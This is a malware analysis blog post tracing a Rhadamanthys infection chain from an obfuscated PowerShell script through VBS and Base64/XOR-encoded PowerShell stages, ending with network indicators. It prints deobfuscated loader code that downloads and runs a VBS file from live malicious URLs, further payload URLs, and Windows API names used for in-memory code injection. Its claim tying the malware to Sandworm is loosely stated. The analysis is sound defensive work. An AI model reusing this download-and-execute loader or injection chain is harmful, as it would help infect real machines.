Malware Analysis - Rhadamanthys

0xmrmagnezi.github.io/malware analysis/Rhadamanthys/

July 12, 2024



3 minute read

Sample:

fb6402d3ef1fcdd5af327668fa8d41b4

Background

Rhadamanthys malware has been notably associated with the threat actor group known as Sandworm. Sandworm, believed to have ties to Russian intelligence, It allows them to gain unauthorized access to computers, enabling them to execute commands, steal data, and surveil victims through webcams and microphones. It spreads via phishing emails and exploits software vulnerabilities.

Static Analysis - Stage 1

Database Entry

		Rhadamanthys		Q Vendor detections: 12				
Intelligence 12 IC		ĴS	YARA	File information	Comments 1	Actions -		
SHA256 hash:		🗘 a437cf672b353e906	5d8eddfbeb9d0ef01f11fa1f5	54d888d4fae821fcd3d30b2				
SHA3-384 hash:		Ce8540bc836bea0be7ab0ad3280b6ce6d5ba653df86ba9bfb377b32828e7039d0b930928321147e566172921606b91377						
SHA1 hash:		🗘 53ddfc1966c442e1	53ddfc1966c442e1b1a954aacd9927f359b43e65					
MD5 hash:		🕻 fb6402d3ef1fcdd5a	f327668fa8d41b4					
humanhash:		🗘 minnesota-fourteer	n-winner-autumn					
File name:		qc.ps1	qc.ps1					
Download:		🕲 download sample						
Signature 🛛		🛊 Rhadamanthys 🗘 Alert -						
File size:		831 bytes						
First seen:		2024-07-05 17:40:18 UTC						
Last seen:		Never						

Figure 1: Malware Bazaar Entry

The first stage contained a relatively short PowerShell script that was somewhat obfuscated, as shown in Figure 2.



After cleaning up the code and deobfuscating it, we were left with clear code, as shown in

Figures 3 and 4.



🔚 a437cf672	b353e0668eedfbeb9d0e01f11fa1f554e88eedfae82ffca3d0bb2.ps1 🛛 🚍 new 1 🖄 🔄 new 2 🖾 🚞 new 3 🖾 🚞 new 5 🗳 📄 restvbs 🗳
1	<pre>\$ff=iex(\$('(Nh5fw-Objh5fct Systh5fm.Nh5ft.Wh5fbClih5fnt).Downh9he(\$oulv.Replace(''j5f'',''tps://'').Replace(''r4j'', ''e''), \$fz)').</pre>
	Replace('h5f', 'e').Replace('h9h', 'loadFil'));iex('szvbarzvb \$fz'.Replace('zvb','t'))
2	
3	۲ ۶
4	\vee
5	getit -fz (\$fzf + 'List of Required items and services.pdf') -oulv
	'htj5fwww.kuthbanr4jng.com/wh/List%20of%20rr4jquirr4jd%20itr4jms%20and%20sr4jrvicr4js.pdf';
6	getit -fz \$flol -oulv 'htj5fwww.pinr4japplr4jtr4jch.ar4j/at/at.vbs';
7	
8	4 L
9	\vee
10	https://www.kuthbaneng.com/wh/List%20of%20required%20items%20and%20services.pdf
11	https://www.pineappletech.ae/at/at.vbs
Figur	e 4: After Deobfuscation

The first URL downloads a PDF and opens it, while the second URL downloads a VBS file and executes it in the background. Browsing to this URL revealed a lengthy, obfuscated VBS script.

Second Stage

← → C t pineappletechae/at/at/bs	r (:	
			Â
Function Slagbnkens(autolithograph)			
Slagbnkers = ChrK(autolithograph)			
End Function			
Strannes = 0			
20mfruhaer= array(65+5+8,67,75,97,72,73,62,59,66,66)			
<pre>Set Scapel = CreateObject("Hiscript.Shell")</pre>			
Indestagte - Fornéeriske			
<pre>prove tables : "restrivened" unsharble." Sordin : 3001 Outgraid = %4430 Outgraid = %4430 Transporter = %Transdp, prospointent100" Exempliared: : "Jandge, prospointent100" Exempliared: : 'Jandge, p</pre>			*

After examining the code, I uncovered clues about the obfuscation technique employed. The method involved filling the code with junk code, and in the middle of the script, a long string was constructed. Once I identified the execution point, I disarmed it and echoed the final command to the console using CScript.

C:\Users'	0x\Desktop\Newfolder\test.vbs - Notepad++ [Administrator] Search View Encoding Language Settings Tools Macro Run Plugins Window ∑		- 0 × + • ×
6 📑 🖶	6 6 6 6 4 h h jo c a 4 4 4 6 6 5 1 E 6 8 h 2 + 0 • 0	🔿 📼 Administrator; Command Pror X + 🗸 — 🗆 X	
🔚 a437cf67	2b353e906d8eddfbeb9d0ef01f11fa1f554d888d4fae821fcd3d30b2.ps1 🗷 🔚 new 1 🗵 🔚 new 2 🗷 🔛 new 3 🗷 🚆	Civilisons Devines the second state of the	
addrefs 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621	<pre>Indestigate = Indestigate ("eacl.stKandijElecto Indestigate = Indestigate ("eacl.stKandijElecto Indestigate = Indestigate ("MollinMoxie, GearS" Indestigate = Indestigate ("otas" Indestigate = Indestigate ("otas" Indestigate = Indestigate ("otas" Indestigate = Indestigate ("be cloon" " Indestigate = Indestigate ("be cloon" " Indestigate = Indestigate ("incoste k" Indestigate = Indestigate ("incoste k") Indestigate = Indestigate ("incoste k") Indestigate = Indestigate ("incoste s');Til" Indestigate ("incoste s');Til" Incoste s';Til" Inc</pre>	<pre>C:\Users\@x\Desktop\New folder>csript test.vbs Hicrosoft (R) Windows Script Host Version 5.812 Copyright (C) Microsoft Corporation. All rights reserved. "cls;write 'taplb Samlingsregeringen Brumalia Glutition240 progressions Statusordenes Nyvurder es Copyrights Homonymets folkemunden Semipiously Cemeterial undersummernes Vinifreds71 Morainal Windel Acceptilating Kompleksitet Decangular Sjuskefejlet Vinddreven Tegnebger Anlgsgartneriet Underdimensioneringens taplb Samlingsregeringen Brumalia Glutition240 progressions Statusorden es Nyvurderes Copyrights Homonymets folkemunden Semipiously Cemeterial undersummernes Vinifreds 71 Morainal Windel Acceptilating Kompleksitet Decangular Sjuskefejlet Vinddreven Tegnebger Anlg sgartneriet Underdimensioneringens'; ff (fichost). CurrentCulture) {Spicehouse240+;;Function Vol planes(\$Milliardren){\$rebait=\$Milliardren.Length-\$spicehouse249;\$Ggepulveres214='SUBsTR';\$Gepu lveres214+*ing';For(\$Regnerable=5;\$Regnerable-1 t \$rebait;\$Regnerable+=6){\$taplb+=\$Milliardre n.\$Ggepulveres214.Invoke(\$Regnerable=5;bicehouse249);}tanction Tilhret{\$Miltsick}{ & (\$Parakelia) (\$Miltsick);}tailforemost=Volplanes 'AnnotHAtiono bilcz Skr iMonstl Teks ISnyd,am.com/Mat r5Acerb.Pyrroo Lsen AfV, (Knas,W BireiBlavenf: Inda gadoPersonDrives brov Leo nNRoupiTGoust Hjhed1Situe0E erf. Shri05Mag1; E.ga ,avneW Chy,iCircunBeded,appe4Bende;Misch Sus seRevan6Bjn.4 Trio;Anven T.dssr riviPu ga:ChugalMa,gizsmit.lons. Comp0C; eni),onpo Ade, iGIb idieE,lasc Recek P atoSu te/Poste2 Ting0SalpiPendr0Thyge0RitnalB1,ge00vern1 ,ovs TetraFKomm.iI pdicrb2neoRe kefsingute nix Witf5a eeDlunga2 Krin1Nopex and1Nopen in Starformabilitzvolp</pre>	^
622 623 624 625	End Function	lanes 'HindbUGre.dsSvedjeQu.ysrFodno-NonreAVelm gSo.lmeTjen,nFescetAc 'v '\$progressions=Volpla nes ' ProchU.klitWagont rivepFrerbs L,xi:Moonc/Forbr/UvrdiwUnisswUds.rwHerna.Analya M.nnlbilbrm B strrAnbe4RRive.aP rodobrabr.Brugsc.overononfomSuper/Nona mH.shenTilde/ajospU IntedUnfr, Iskole iSkaangtrevrgsoloueRea,prMethasSejrs.SolbehStyrehEtablkActin>non,ehDimentTilsetDim tp PrepsGeno	
626 627	Unitarisk = Unitarisk & Slagbnkens(Jomfruha	ar (Nonnasal) +10)	
628 629 630	Next	(34) & Indestnute & Sladhnkens(34)	
631 632 633	WScript.Echo Fjumrehovedernes	()) a indescrigice a stadyminents ())	
Figu	re 6: CScript Output		

After cleaning up the code, I discovered an important function that functions similarly to a regex. This 'regex' essentially counts every sixth character and concatenates them into a new string. In Figure 7 you can find that specific function.



Figure 7: Regex Function

Understanding that function led me to construct a regex in CyberChef, through which I successfully extracted the next stage of the malware.

Download CyberChef 🞍		Last build: 2 mo	onths ago Opt	ions 🔯 About / Support 🕐
Operations 44	Recipe	^ 🖻 🖿 i	Input	+ 🗅 🖯 î 🖬
repla	Regular expression	∧ () II	ProchU.klitWagont rivepFrerbs L,xi:Moonc/Forbr/UvrdiwUnisswUds.rwHerna.Analya M.nnlbilbrmB st rdodbrabr.Brugsc.overononfomSuner/Nona mH.shenTilde/ainsmU	rrAnbefwRive.aP
Find / Replace	Built in regexes		IntedUnfr, 15kolei5kaangtrevrgsoloueRea, prMethasSejrs.SolbehStyrehEtablkActin>non, ehDimentTilse PreosGenop:Alrvd/Manco/TolvmwKvikrwtajjew Sten.Nekroe antarCh ngpFlagm-Monasr OndvoStttevVandg	etDim tp gaDefaclMikro-
Bit shift right	Recer		SwallcVenezra.cliofilfow Lam nGigge.overgiPinlinIvrksfHexaso C ri/ Gastm vrisn Eska/Ph,llUPendudDeciblEuropiBarnegFejlsgovermeAnch,rS,ccesOverf.Unr,fh GuilhPhospkPrint	
ROT8000	.{5}(.)			
Remove Diacritics		A		
SHA0	Case insensitive	^ and \$ match at newlines		
Streebog	Dot matches all	icada support		
Substitute				
Favourites 🔶	Display total	Output format List capture groups	•••: 546 🐨 1	Tr Raw Bytes ↔ LF
Data format	Find / Poplace		Output	🖬 🗍 🖬 🗆
Encryption / Encoding	Find		https://www.almrwad.com/mn/Udliggers.hhk>https://www.erp-royal-crown.info/mn/Udliggers.hhk	
Public Key	EXTENDED (\N, \T, \X)	Replace		
Arithmetic / Logic	Global match 🔲 Case	insensitive 🔽 Multiline matching		
Networking				
Language	Dot matches all			
Utils				
Date / Time				
Extractors	STED			
Compression	SIEF 🎽	Auto Bake	**: 91 = 1	ଓ 7ms Tr Raw Bytes ↔ LF
Figure 8: Regex in CyberChet				



As indicated in Figure 8 and 9, two URLs have been identified containing the next stage of the malware.

Third Stage

Browsing to those URLs revealed the next stage along with additional files containing other variants as shown in Figure 10 and 11.

← → C 😫 almrwad.com/mn/Udliggers.hhk	Q 1	•	:
C 3 C 1 Immediated my final detailed my final	Q Q gc(66222)064K294 Q Qc(66222)064K294 Q AT13R04 Q AT15R04 Q MiH+F22 Q MiXQRP11 Q MiXQRP12 Q MiXQP12 Q MiXQP14 Q Q MiXQP14	EEcQ6bcl 5pAcQ6bcA Ar7JuKx WEIG12 WREMSI KILX/VV PQN6/COUP PQN6/CO	CG GG GG M CG CG M CG CG M CG CG M CG CG M CG CG CG CG CG CG CG CG CG CG
JARD 1: SANDER 4.11 (2017) SERVER INVOLVE 1: SERVER 1: S	QFvXUX	8PkZI7gl CNcqDP1 7bywqU7	E2 bY n4
ammen j zecur novem havanne men kokon jaan re-men kokon jaan re- 15. Kokon kokon jaan re-men kokon jaa	NFk+H6 w87vMu nXhXM5	IqhrGCu tzeXy19 14duP2P	a0 pb m0 v

Figure 10: First URL

← → C to erp-royal-crown.info/mn/				*	•
	Index of /mn/				
	Name 🗢	Last Modified 🗢	Size 🗘		
	1 Parent Directory				
	🕒 Bengal.xsn	2024-07-02 00:14	476k		
	🕒 Bow.lzh	2024-07-01 22:14	460k		
	D Udliggers.hhk	2024-07-05 10:28	488k		
	Proudly Served by LiteSpeed Web Server at www.e	erp-royal-crown.info Port 443			

Figure 11: Second URL - Revealed 3 variants

The content of the file was loaded into the previous script and decoded from Base64. Using CyberChef, I decoded the Base64 content of the file. At the end of the file, the actual code was revealed, as shown in Figure 11.

Download CyberChef 🛓		Last build:	2 months ago Options 🏚 About / Support 💡
Operations 440	Recipe	~ 🖻 🖿 🗊	Input + 🗅 🖯 🔋 🖬
Search	From Base64	∧ ⊗ II	6wIKLusCvby7jjoJAHEBm3EBmwHcJATrAgmOcQGbuWh4M2lxAZtxAZU88UzltTLrAvhw6wKfwIHxJJ2GW3EBm3EBm3EBm+sCwe26WErp80sCTvxxAZtxAZvrAs EFWcoxAZvrAvkT180L6wK1h+sCR03R4usCZ53rAnce#8EEC0Gb6wKF1YH5Wk1BXz36wI6AXEBm4EEJATrAn7hcOGb1cPrAh6lcOGb0cVM2ZEEC0GbcOGb0w60
Favourites 🖈	Alphabet	Remove non-alphabet chars	fBzrAsHy6wJBkIHyvr/FsusCGUpxAZUB8jAxua5xAZtxAZtxAZvrAp9JCQGbCQGbiwwQcQGbCQGbiQwT6wJzlnEBm0JxAZtxAZuB+vhGBQB12OsCVppxAZuJXC QM6wK4Y3EBm4HtAAMAAOsCr0/rAIziiiQkCOsCGgvrAnKyi3wkBHEBm+sCVCmJ6+sC5n5xAZuBw5wAAADrAks36wL6G1PrAiZo6wKZMGpAcQGb6uJ/Vonr6wIh
To Base64	A 20 20 31/-	-	1esCEZXHgwABAAAAkLEFcQGb6wKcRYHDAAEAAHEBm3EBm1PrAk+t6wKHMonrcQGb6wL8oom7BAEAA0sC9jXrAqkggcMEAQAA6wKRSOsC1BFTcQGb6wI-4Cmr/cQ Gb6wK3WoPCBesCmuxxAZsx9usCV37rAgvsMcnrAgEm6wLo9IsacQGb6wINSUHrAja86wKGAzkcCnXy6wJA13EBm8ZxAZtxAZuAFAr7uHXdcQGbcQGb10QK/HEB
From Base64	Strict mode		m+sCQ1Ep8HEBm+sCV00/0nEBm3EBm7r4RgUA6wKq9nEBmzHA6wKsmesCRuqLfCQMcQGb6wLkvoE081zOdeHrAqxj6wK1noPABHEBm3EBmznQdeTrAgahcQ6bif txA2txA2v/13EBm3EBm/VLDEMx9qVouQkwBq/14p/du5LWWNRgVCkp2Dw3BPSMuwD1ov2C1qy7u4+H2R8gYafN/AT1SROMTPakF5t99BBE6/5m3T9GeCrRgyL2
To Hex			S5SBBJL@E0gU5Wk697/YhAkx7FxJWAHITwHSXK+kxCFPAexcr126KD1xUd21e0Hmaut8m0s541zOntzH1tUaAU/Yrv70dT0tRWqH3TAwRH1L0eNczoKL9MT02B DMdeGvhj1Y0kunF5u7NB7RgnfhXLuBoJtLDONczp5gj9z1HJRP2JheznVI/o9eZaBPwJheznUnC+BGYOm3d+FcMvxe1Eql2tG3d+FcwFCBozGKZahKpmSWTox8
From Hex			ZQVND9VLDeBczvScKENM4VzB+LGFznVov/VJ84Vz3tGWrnfUcI1YV3VnOTDnVizEIm8xxH4kP+mQ4z3XhZB3xFjQPW5XUJp/pWc78vEBzs+gN80caSN2XWr2mt Sb39pNaWdCDj9PCJGyTnXhU8P61Fn08CnXg2lbwBzvyzr3pAncznDh3Te1vPC7/KR8RTj95r/xGM4mH+FZzvRc8M514fX0deFTS14qXM78zJT0de611E3kXEuk
To Hexdump			VCGyPDtcznpstxB14QRH4HFdznVonqiCJ+CaJ2rJXnThXKR0HukGdeFcJs7SNC78ZGzPdeHZFPUba8q9JhjqfUTNeHpgKOp9Pzn932Ao6n3dzgz12IVKgGAw6n 2mtolHVCG6eD1cznpJHxx14ZD/UpI7w2gkjW936+RQ6WtEizGJz0e+iQF22M53DPRzF1sv8AmIPsiklK/VVx2UA0rrbj10s/eE+Cam3RbmC7MsgVS7paL2H
From Hexdump			TXXKHA3SQTE3YxxCGHInLJU+2cH3B13OHCL+S1v1n2y30BmaKGkMmcZqhVHLIgRKpr46208BA1j0mcF6a1aY3v11THB/X\$0y04ybc6ZxJVUNgh3H157r+PH83 zSCTjOcOHVk2234ouSa1JPswQ1ch1gqnD+gFPg5HAU1xgmt1tyQxHY7/In/75+4AHf6mZh1PQN6/cOM5H8WY70EDruE9zy3ygmuAkCRTj55qHA/CVY8Db
URL Decode			Image: Mark and Mark an
Regular expression			Output
Entropy			5xg•U 8xcv8 ⁻ 0•Iee•
Fork			hc:K¦m+lcd++ξ wG++s G++x+)ÙwEujerôðÜvfU!SK@álĥ:85u10]uá\+cc0+&ξisElÜ"[b++sE-ö9g+i+'KmÚmŰ ++y9+/ +rö++Ùsr2 :k++0<br waAmefradlô+ ;m*+3+,j&p_MsvY0+6A00 +h10+qb+EXÜm#+s r*+X =x00+8±088 vfEvh OgmaC @al68)Ÿ0sU(#X#XfL):+X+dm:IOOjmu ⁰ ±0i+he+
Magic			Cx = 2cmRu+1C\$C^*rrma=A&+D1L0+8+meL+k*O.ABU*0dX=X\$med+u¥++ +Y]IU(uum(uum(uum(uum(uum(uum(uum(uum(uum(uu
Data format			אראור (אראור (אראור) (אראור) (אראור) אוראור) אווי (אראור) אוראור) אווי (אראור) אוראו
Encryption / Encoding			uene(neun(neun(neun(neun(neun(neun(neun
Public Key			,\$Specialiserede159-Volplanes 'Winz \S eres UnboyUdhn,sgreenwOpbr oM.ntlwUnper6.arti4Holly\RygsaWRi ejiBrugenOriendIn,eroBaklywSpiras PresP RealoD,humwhaandeNe.lerTrog,SRegerh UraleUpthul UdkllLuc e\ Prehv
Arithmetic / Logic			inilTitan.Pa,ar@Milit\MooripSn,leoTele.wPrecoeFermerVadehsS ovfh CorseInsollDelgglArbal. risteInd,kxOverke Micr .\$Deletery=Volplanes 'LetmapSt,ego MatrwGa eae A.sprNeut sEchedhSh mpeBurbel MetalPjokk.VinyleIntraxSvumnesmrer '
Networking	-		<pre>r\$Cholerine =volplanes 'Z,moceWasalxUncpiPermuthring 'Activate Windows rTilne (volplanes 'flyve\$Unh.mg stanl lippoFugt.bPOlliaReitel Buty:EdderMForpla butsr@mage_to_activate Windows urdaws.elsevicsse.edder@HoseSingent.com/activateWindows.elseviceum</pre>
		AKE! Auto Bake	lationer (geschounder (geschounder) der eine zygenetie Freiningerer inder optigten diet führt und diministration führt eine stater aufer reneres kanzenzennennen ner reitretenntnativeskent attinfast (ona < ts assertennet andes nekaning maximus) bei Austreauer of 1 m: 275566 F 1402 G 4488 Tr Raii Bytes ↔ CR (detected)

Figure 12: CyberChef Base64 Decode

This part also utilized the previously analyzed regex function. Using the same technique to decode a new function was revealed.



After analyzing this function, I discovered that it utilized XOR with the key 84 in Hex. An example can be found in figure 14.



Before Decoding:

41	\$Traverserne		^
42	- }		
43		(
44	SHYdrosere=Traanets 'D/FD/FUELESAALUESE'		
45	SFryderulatos=Liadanets (Cepte / 66BF / 66BF / 66BF / 66AD 20000201 2010 4 / 656261CAE5F0EDF / 66C6BE0F / 6		
46	SXLITEMALETNES=TRAADNETS 'C3ELF0D4F6EBE/C3EUEUFEET/F/		
47	Stremmes=traduets .Dible hotersaadeiteetoebestaacdeatoeiteebe4d/Eiteeredeitert/aacceseadoeseidebite.		
48	Strompetstoenesio==rradenets 'Frior6blocks'		
49	SUMagnet=Tradenets ·C3EIFUC9EBEUFIE8ELICCESEAEUSELL		
50	SETIKSSON=ITAAQUETS 'DEDUD/F4EIE/EDEDESELESESELESESELESEDD/EDESASA4D4F1E6E8EDE/'		
51	STELEIONADONNENTENISSETTAAANETS JD6FILARJOUDD9ELAAA4CSESEASESESEISU		
52	STILLIUGESSTEDER=ITAAONEES 'D6ELE2ESELE/F0ELECEUELEEELESEST0EL'		
53	SLIGHTONIKVIRSOMNEGENZZD=ITAAGNETS COLDADSELESEENFELESELESELESELESEL		
54			
55	SVELAKTELISTIKTELISTENDES (CLEEPELI, LASA4D4FIE9ESEDE LASA4D/FIE9ESETEDA9844CSETE/FEC/FSE2F/F/ASA4CSFIF/E/FSE2F/F/		
50	Vawntie-Iradneus · Ubear Zebergi ·		
57	prorriarende-iradnets 'DAFriesesebe'/ASA4CCEDECIDECI		
50	Stavisz41-Itadulets Disconsect		
59			
60	Superprise in a construction of the indicate indicate indicate indicate a construction of the indicate		
62			
62	Studiestereszent		
64	Some of the second seco		
65	Sensifications = Traductors EFFFORALEODING		
66	Schiellet-Traductes fif/Error/Bo		
67	Voltosie - Itaquiets Diebers Diebers Diebers Diebers Diebers Diebers Diebers (Stidootowi Sominium) (1	
69	Traductor visone (Vileotext, Vienipilvady) (
00		F7ACAD! 1	
69	Additional and a second s	Windows	
05		(1) (1) (1) (1) (1) (1) (1) (1) (1) (1)	WEBEAA
			V Noncentra
Windows Pow	ershell length: 21,819 lines: 126 Ln:69 Col: 1 Pos: 9,786 Windo	ws (CR LF) UTF-8	INS
Figur			

After Decoding:

93	
94	
95	\$Hydrosere='System.dll'
96	\$Frydefuldt68='Microsoft.Win32.UnsafeNativeMethods'
97	\$Skiltemalernes='GetProcAddress'
98	\$Fremmes='System.Runtime.InteropServices.HandleRef'
99	\$Trompetstdenes163='string'
100	\$Jvndgnet='GetModuleHandle'
101	<pre>\$Eriksson='RTSpecialName, HideBySig, Public'</pre>
102	\$Telefonabonnenten165='Runtime, Managed'
103	\$Tilflugtssteder='ReflectedDelegate'
104	\$Elektronikvirksomheden226='InMemoryModule'
105	\$skridningernes='MyDelegateType'
106	\$Karakteristikum='Class, Public, Sealed, AnsiClass, AutoClass'
107	\$Vawntie='Invoke'
108	\$Fortfarende='Public, HideBySig, NewSlot, Virtual'
109	\$Stavrs241='VirtualAlloc'
110	\$Kravlende='ntdll'
111	\$Overtrffe='NtProtectVirtualMemory'
112	\$Skattebilletternes='\'
113	\$Recurvature62='USER32'
114	<pre>\$Luftfartsinformationstjenestens='CallWindowProcA'</pre>
115	\$Demonolatrous ='kernel32'
116	<pre>\$pacifister = 'user32'</pre>
117	\$Skibsllet='ShowWindow'
118	function Varsomt (\$Videotext, \$semiprivacy)
119	
120	'\$global:Paramese = [AppDomain]::CurrentDomain.GetAssemblies()' 1
121	'\$global:Brisantgranaters = (\$Paramese Where-Object {\$Location.Split(\$Skattebilletternes)[-1].Equals(\$Hydrosere)
1.0.0	3) GetType (\$FrydeFuldt68) * 1 Activate windows Activate Mindows
122	*GlobalUnagreeableness = \$Brisantgranaters.GetMethod(\$Skiltemalernes, [Type]]] @(\$Fremmes, \$Trompetstdenesf63)%) to funder Windows
Windows Pov	verShell length: 7708 line: 152 Ln: 119 Col: 2 Pos: 4857 Windows (CR.LF) UTF-8 INS
Figui	ie 16: Atter XUR

That stage revealed memory manipulation and code injection techniques.

Process Tree		×		
Only show processes still running at end of current trace Timelines cover displayed events only.				
	14.5			
Process Description Image Path	Life Time	^		
I tontdrvhost.exe (800) Usemode Font Dr C:\Windows\system32\tontdrvhost.exe				
Windows System 22 (1004) Desktop Windows C. (Windows System 22 (1004) Windows Explorer exe				
Windows Explorer C: \Windows \System32\cmd exe				
Console Windows				
Conhost.exe (8964) Console Window C:\Windows\System32\Conhost.exe				
powershell.exe (1312) Windows PowerS C:\Windows\System32\WindowsPowerShell\v1.0\pow				
☐ WScript.exe (8796) Microsoft [®] Wind C:\Windows\System32\WScript.exe				
Devershell.exe (8472) Windows PowerS C:\Windows\System32\WindowsPowerShell\v1.0\pow				
Conhost.exe (5256) Console Window C:\Windows\System32\Conhost.exe		I		
Windows Comma C:\Windows\system32\cmd.exe	<u>ا</u>			
powershell.exe (5/16) Windows PowerS C:\Windows\syswow64\WindowsPowerShell\v1.0\po				
Windows Comma C:\Windows\SysVVOW64\cmd.exe				
Windows Contacts C:\Program Files (xoo)\Windows mail Wab.exe Windows Contacts C:\Program Files (xoo)\Windows mail Wab.exe Windows Contacts C:\Windows\SysWOW64\WerEault eve				
SecurityHealthSystray exe (6100) Windows Security C:\Windows\System32\SecurityHealthSystray exe				
Wex Trav.exe (1020) VirtualBox Guest C:\Windows\System32\VBoxTrav.exe				
openvpn-gui.exe (3076)	>	Ť		
Description: Microsoft ® Windows Based Script Host				
Company: Microsoft Corporation				
Path: C:\Windows\System32\WScript.exe				
Command: "C:\Windows\System32\WScript.exe" "C:\Users\Public\yd2.vbs"				
User:				
PID: 8/96 Started: //8/2024 10:21:27 PIM				
Exited: //8/2024 10:21:28 PM				
Go To Event Include Process Include Subtree	Close			
Figure 17: Process Tree Using Procmon				

Network Analysis

Using Wireshark and Fiddler I was able to extract Network IOC's:

📕 di	6				+
No.	Time	Source	Destination	Protocol Lengti Info	
	10.000000	10.0.2.15	8.8.8.8	DNS 78 Standard query 0x9a8a A www.kuthbaneng.com	
	20.101164	10.0.2.15	8.8.4.4	DNS 78 Standard query 0x9a8a A www.kuthbaneng.com	
4	3 0.200013	8.8.8.8	10.0.2.15	DNS 108 Standard query response 0x9a8a A www.kuthbaneng.com CNAME kuthbaneng.com A 50.28.37.106	
	7 0.303218	8.8.4.4	10.0.2.15	DNS 108 Standard query response 0x9a8a A www.kuthbaneng.com CNAME kuthbaneng.com A 50.28.37.106	
	8 0.303246	10.0.2.15	8.8.4.4	ICMP 136 Destination unreachable (Port unreachable)	
	580 2.202220	10.0.2.15	8.8.8.8	DNS 80 Standard query 0x4694 A www.pineappletech.ae	
	581 2.289183	10.0.2.15	8.8.4.4	DNS 80 Standard query 0x4694 A www.pineappletech.ae	
	582 2.335524	8.8.8.8	10.0.2.15	DNS 96 Standard query response 0x4694 A www.pineappletech.ae A 91.193.42.13	
	584 2.367921	8.8.4.4	10.0.2.15	DNS 96 Standard query response 0x4694 A www.pineappletech.ae A 91.193.42.13	
	585 2.367947	10.0.2.15	8.8.4.4	ICMP 124 Destination unreachable (Port unreachable)	
3	336 4.175916	10.0.2.15	8.8.8.8	DNS 75 Standard query 0x6d7b A www.almrwad.com	
3	337 4.271361	10.0.2.15	8.8.4.4	DNS 75 Standard query 0x6d7b A www.almrwad.com	
3	338 4.388920	8.8.8.8	10.0.2.15	DNS 105 Standard query response 0x6d7b A www.almrwad.com CNAME almrwad.com A 184.171.244.231	
3	340 4.497678	8.8.4.4	10.0.2.15	DNS 105 Standard query response 0x6d7b A www.almrwad.com CNAME almrwad.com A 184.171.244.231	
	341 4.497713	10.0.2.15	8.8.4.4	ICMP 133 Destination unreachable (Port unreachable)	
> F	rame 1: 78 by	ytes on wire	(624 bits), 78	8 bytes captured (624 bits) on interface \Device\NPF_{ 0000 52 54 00 12 35 02 08 00 27 f0 b2 e7 08 00 45 00 RT.5'E.	
> E	thernet II, S	Src: PCSSyster	mtec_f0:b2:e7 ((08:00:27:f0:b2:e7), Dst: 52:54:00:12:35:02 (52:54:00 001 00 00 00 00 00 00 00 00 00 00 00	
> 1	nternet Proto	ocol Version 4	4, Src: 10.0.2.	2.15, Dst: 8.8.8.8	
> U	ser Datagram	Protocol, Sr	c Port: 63171,	, Dst Port: 53	
> D	omain Name Sy	ystem (query)			
				Activate Windows	
				Go to Settings to activate	Windows.
<					
-	Domain Name Sys	stem: Protocol		Packets: 1364-Displayed: 15 (1.1%) - Dropped: 0 (0.0%)	Profile: Default
гI	jure 18:	vviresna	11K DINS F	Requests	

Request Headers GET /wh/wh.bin HTTP/1.1 Cache Cache-Control: no-cache Client User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Transport Host: www.almrwad.co Transformer Headers TextView SyntaxView ImageView HexView WebView Auth Caching Cookies Raw JSON XML Response Headers HTTP/1.1 200 OK Cache Date: Tue, 09 Jul 2024 05:53:03 GMT Entity Content-Length: 433216 Content-Type: application/octet-stream Last-Modified: Tue, 25 Jun 2024 02:51:10 GMT Miscellaneous Accept-Ranges: bytes Server: Apache Upgrade: h2,h2c Transport Connection: Upgrade Figure 19: Fiddler Output

Virus Total

∑									
12 /54 © community Score	12/94 security vendors flagged this URL as malicious https://almrwad.com/ almrwad.com text/tent	C Reanalyze Q Search 就 Graph ↔ API Status Content type Last Analysis Date 200 text/html; charset=UTF-8 a moment ago							
DETECTION DETAILS COMMUNITY									
Crowdsourced context									
Activity relat L- This DOM public don NSIS instal	d to GULOADER - according to source Cluster25 - 3 days ago N is used by GULOADER. Guloader is a shellcode-based downloader frequently utilized to deliver diverse malware. Its o J services, evade antivirus measures, and maintain payloads for extended durations. Initial versions were VB6 applicat er in common attacks	encrypted payload, encompassing PE headers, permits threat actors to leverage ions with encrypted shellcode. Recent iterations primarily utilize VBScript and							
-igure 20: VI Uri									

م www.delpas.it							1 🗖 🔅 🖄	Sign in	Sign up
	7 192 Y/92 security vendors flagged this domain as malicious www.rfelnas.it			C Reanalyze	C Reanalyze ≈ Similar ∨ ﷺ Graph 40 API				
	Community Score	it			4 hours ago	66			
	DETECTION DETAILS	RELATIONS COMMUNITY							
	Jein our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.								
	Security vendors' analysis ()				Do you want to autom	ate checks?			
	AlphaSOC		BitDefender						
	Cluster25		CyRadar						
	G-Data		Seclookup						
	Webroot		Forcepoint ThreatSeeker	(j) Suspicious					

Figure 21: VT Uri

IOCs

• Hash:

41961596aa91e91c8e4415cff137b345 4555c60872fad83c47c29b2052c978fd d298368760f646f852027f697df07ee6 fb6402d3ef1fcdd5af327668fa8d41b4 05ed7b3d821af8e38b861b21ad567c1d

• URL:

```
kuthbaneng[.]com
pineappletech[.]ae
almrwad[.]com
```

• IP:

```
184[.]171[.]244[.]231
103[.]21[.]59[.]27
91[.]195[.]240[.]94
```